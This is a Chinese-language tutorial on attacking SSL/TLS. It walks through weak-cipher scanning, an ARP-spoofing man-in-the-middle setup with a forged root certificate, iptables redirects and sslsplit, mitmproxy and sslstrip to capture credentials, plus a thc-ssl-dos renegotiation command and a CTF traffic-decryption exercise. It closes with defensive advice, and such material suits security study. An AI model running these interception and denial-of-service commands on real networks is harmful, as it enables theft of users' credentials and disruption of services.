本文主要描述 HTTPS 中对于 ssl/tls
加密的攻击手法,什么是 HTTPS 呢?百度百科的解释如下:
HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的 HTTP 通道,简单讲是 HTTP 的安全版。即 HTTP 下加入 SSL 层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。
0x01 知识铺垫
ssl/tls 用途
1、为实现 CIA (保密性, 完整性, 可用性)
2、解决信息传输过程中数据被篡改,窃听
3、通过,密钥交换算法,对称加密,非对称加密,单向加密 (HASH) 手段进行加密
常见的攻击方式
1、降级攻击
2、解密攻击(明文, 证书伪造)
3、协议漏洞, 实现方法的漏洞, 配置不严格
SSL/TLS 应用场景
1、http, 称为 https
2、邮件传输(服务器间, 客户端与服务器间)
3、数据库服务器间
4、LDAP 身份认证服务器间
5、SSL VPN
6、DRP 通信过程的加密和身份认证
加密过程
1、协商加密协议
2、获取公钥证书
3、验证公钥证书
4、交换会话秘钥
5、ssl连接建立完成,使用加密传输
详细叙述:
1、浏览器将自己支持的加密规则(也就是 CipherSuite )发给服务器
2、服务器端收到请求,然后从客户支持的 CipherSuite 中选出一个应答,并发送给客户端公钥证书和选用的 HASH 算法
3、客户端收到公钥之后,利用自己的信任的根证书对收到的公钥进行验证.若通过,客户端随机生成对称密钥 (Pre-Master secret),通过服务器发给客户端,然后使用公钥对对称密钥进行加密,并计算连接中全部报文信息的 hash ,再利用生成的对称密钥对 hash 值加密,然后把公钥加密的对称密钥及对称密钥加密的 hash 值发送给服务器.
4、服务器利用自己的私钥对利用公钥加密的对称密钥进行解密,得到对称密钥. 再利用对称密钥解密 hash 值,对 hash 值进行验证.在验证成功后,会返回给客户端 Finish 报文。(至此,ssl 连接建立成功)
5、ssl 连接建立完成之后信息的传输加密过程是这样的:
客户端:先用对称密钥加密要传输的信息,再利用 hash 算法得出加了密的信息的 hash 值.再利用公钥对 hash 值进行加密,之后把对称密钥加密了的信息和利用公钥加密后信息的 hash 值,传输给服务器.
服务器: 与客户端基本相同,不过把公钥加密换做私钥加密。
简单图示
WireShark来分析回话过程
ssl 的弱点
1、ssl 是不同的对称、非对称、单项加密算法的组合加密实现(cipher suite)
2、服务器为实现更好的兼容性, 支持大量的过时的 cipher suite
3、协商过程中可能强迫降低加密强度
4、现代处理器的计算性能使可再可接受的时间内破解过时的加密算法
0x02 HTTPS 弱点扫描
这里主要针对弱 cipher suite 的弱加密组合和历史漏洞(如 heartbleed )进行扫描,常见工具如下:
openssl
openssl s_client connect www.baidu.com:443
检查支持的不安全的 cipher
openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.baidu.com:443
sslscan
自动识别 ssl 配置错误, 过期协议, 过时的 cipher suite, 默认检查 crime, heartbleed 漏洞, 绿色表示安全, 红色,黄色需引起注意:
sslscan --tlsall www.baidu.com:443
分析证书详细信息
sslscan --show-certificate --no-ciphersuites www.baidu.com
sslyze
检查 ssl 过时版本, 检查存在弱点的 cipher suite, 扫描多站点时,支持读自文件,检查是否支持回话恢复
sslyze --regular www.baidu.com:443
nmap
nmap --script=ssl-enum-ciphers.nse www.baidu.com
当然,nmap 还有其他检查 ssl 的脚本
在线查询
https://www.ssllabs.com/ssltest
0x03 SSL 中间人攻击
攻击者告诉目标机自己是网关,同时 NAT 转发目标机的信息给网关.
图解
图是网络上的,图示很赞.(侵删)
实现中间人攻击手段
为实现攻击者插入到被攻击者和服务器通信链路中的手段
1、ARP 欺骗
2、DHCP服务器
自己搭建一个 DHCP 服务器,如果攻击者的 DHCP 服务器与被攻击者的距离比网关与被攻击者的距离近才可行,会有一个接受先响应者的就近原则
3、通过 ICMP, STP, OSPF 协议攻击 欺骗 ICMP 重定向, STP 的根, OSPF 的默认路由
4、理论可行的(操作前提是先控制被攻击者): 修改被攻击者网关, 修改被攻击者 DNS, 修改被攻击者 hosts
ssl 攻击前提
1、客户端信任伪造证书
客户端禁止显示证书错误, 被攻击者自己点击信任, 攻击者控制了客户端,强迫信任证书.
2、攻击者控制了证书颁发机构,拿到合法证书(当然,也可以合法的花钱购买)
攻击演示
1、伪造证书
生成证书私钥:
openssl genrsa -out ca.key 2048
利用私钥,生成根证书
openssl req -new -x509 -days 999 -key ca.key -out ca.crt
这里需要填写信息,可以仿照真实证书信息填写.
2、启动路由
sysctl -w net.ipv4.ip_forward=1
或
echo 1 > /proc/sys/net/ipv4/ip_forward
3、配置 iptables 的 nat 表
iptables -t nat -F #清空
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https 这是最重要的一条
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S
iptables -t nat -L # 确认
注意 攻击者的 80,443, 587 等端口不能被其它程序占用.
4.arp 欺骗
攻击者
arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1
被攻击者:
上面是欺骗前的,下面是欺骗后的。
5、sslsplit
透明的 ssl/tls 中间人攻击工具 对客户端伪造服务器,对服务器伪装客户端,伪装服务器时需要证书,支持 ssl/tls 加密的 smtp, pop3, ftp 等通信中间人攻击
mkdir -p test/log
sslsplit -D -l connect.log -j /root/test -S /root/test/log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
被攻击者访问 HTTPS 网站
为了演示, 这里就点继续访问吧.
攻击者可以从日志中查看到被攻击者传输的内容, 但是请注意不是所有信息都是那么明朗,比如淘宝,百度等的密码栏会先利用其他加密组件进行加密然后才进行传输,我们能看到的只是传输过程的明文信息。
补充
如果不喜欢 sslsplit
还可以选其它工具,同样是 arp 欺骗,然后端口转发,之后使用 ssl 透明代理工具
mitmproxy
开启路由:
echo 1 > /proc/sys/net/ipv4/ip_forward
端口转发:
iptables -t nat -F #清空
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
arp 欺骗
arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1
启用 mitmproxy
mitmproxy -T --host -w logfile.log
依然会报证书错误,不过在没有在没有加密组件的情况下,可以直接获取用户名和密码。
sslstrip
注意:此工具直接将客户端到中间人之间的流量变为明文,其它准备步骤相同,然后执行:
sslstrip -l 8080
这样可以把 https 网站转化成 http,不再报证书错误。
尤其对手机而言,更不会注意到地址栏的信息,所以相对隐蔽一些。
查看当前目录生成的 sslstrip.log 文件(默认只记录 post 的数据)可查看 post 的数据。
0x04 SSL/TLS 拒绝服务攻击
主要是利用 ssl-renegotiation
(如果禁用下面这个攻击工具就不能直接利用了), 不断的重协商,增加服务器负担,而不是流量式的攻击
thc-ssl-dos ip 443 --accept
0x05 SSL/TLS 的安全前提
SSL/TLS 的安全基础是私钥的保密,这里以一道 CTF 题来做引证。
题目假设: 获得了服务器私钥, 和抓包的得到加密流量
1、WireShark 打开流量包:
wireshark
:Preferences -> Protocols -> SSL -> Edit RSA keys list
输入私钥的文件地址信息
然后可以右键一个 ssl 包,追踪流(选中 ssl 流)
0x06 总结
tls/ssl 大大的提高了各种应用的安全性,提高了各种劫持破解的成本。但是不是百分百的安全,当访问一个网站的时候,如果遇到证书错误,如果不是有足够的理由去信任的,请直接拒绝访问。新的技术引入的同时,如果不注意正确配置,还会造成新的攻击面,如本文提到的拒绝服务攻击,所以在配置 ssl 时,注意关闭客户端发起的重协商请求。同时要注意服务器私钥的保管,如果泄露了,那么 SSL 的一切安全基础也没有了。最后,希望本文对大家有一点点力量。